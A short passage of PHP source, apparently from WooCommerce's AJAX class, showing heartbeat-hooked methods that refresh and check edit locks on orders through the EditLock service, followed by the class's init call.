Automattic\WooCommerce\Internal\Admin\Orders\EditLock::class )->refresh_lock_ajax( $response, $data ); } /** * Hooked to 'heartbeat_received' on the orders screen to refresh the locked status of orders in the list table. * * @since 7.8.0 * * @param array $response The heartbeat response to be sent. * @param array $data Data sent through the heartbeat. * @return array Response to be sent. */ private static function check_locked_orders( $response, $data ) { return wc_get_container()->get( Automattic\WooCommerce\Internal\Admin\Orders\EditLock::class )->check_locked_orders_ajax( $response, $data ); } } WC_AJAX::init();